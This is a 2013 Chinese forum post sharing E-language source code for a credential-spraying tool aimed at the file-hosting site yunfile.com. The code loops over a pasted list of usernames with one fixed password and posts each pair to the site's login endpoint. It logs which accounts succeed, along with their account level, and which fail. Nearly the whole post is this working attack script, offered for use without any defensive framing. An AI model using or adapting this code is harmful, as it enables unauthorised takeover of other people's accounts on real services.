|
发表于 2013-1-12 19:25:15
|
显示全部楼层
江苏省宿迁市
抛砖引玉[e]
.版本 2
.程序集 窗口程序集1
.程序集变量 POSTDATA, 文本型
.程序集变量 账号, 文本型, , "0"
.程序集变量 密码, 文本型
.程序集变量 账号数量, 整数型
.程序集变量 账号指针, 整数型
.程序集变量 继续, 逻辑型
.子程序 _按钮1_被单击
继续 = 真
创建扩展线程 (&子程序1, 0, 0, 0)
编辑框6.内容 = 到文本 (到字节 (编辑框6.内容) + 1)
.子程序 子程序1
.局部变量 返回数据, 文本型
.局部变量 等级, 文本型
.判断循环首 (账号指针 < 账号数量 且 继续)
账号指针 = 账号指针 + 1
POSTDATA = “module=user&action=validateLogin&returnPath=http%3A%2F%2Fwww.yunfile.com%2Fexplorer%2Flist.html&username=” + 编码_URL编码 (账号 [账号指针], 真, 真) + “&password=” + 密码
返回数据 = 到文本 (网页_访问 (“http://www.yunfile.com/view”, 1, , , 到字节集 (POSTDATA), , , , 1, , ))
.如果 (寻找文本 (返回数据, #常量5 + 账号 [账号指针], , 假) ≠ -1)
等级 = 文本_取出中间文本 (返回数据, #常量1, #常量2, , )
编辑框4.加入文本 (到文本 (账号指针) + “正确:” + 账号 [账号指针] + “---” + 密码 + 等级 + #换行符)
.否则
编辑框5.加入文本 (到文本 (账号指针) + “错误:” + 账号 [账号指针] + “---” + 密码 + #换行符)
.如果结束
.判断循环尾 ()
.子程序 __启动窗口_创建完毕
账号 = 分割文本 (编辑框1.内容, #换行符, )
密码 = “1234569”
账号数量 = 取数组成员数 (账号)
.子程序 _按钮4_被单击
继续 = 真
.子程序 _按钮3_被单击
继续 = 假
.版本 2
.DLL命令 创建扩展线程, 整数型, "shlwapi.dll", "SHCreateThread", , , SHCreateThread
.参数 线程地址, 子程序指针, , pfnThreadProc
.参数 数据, 整数型, , pData,Any
.参数 标志, 整数型, , dwFlags
.参数 返回信息, 整数型, , pfnCallback
[/e] |
|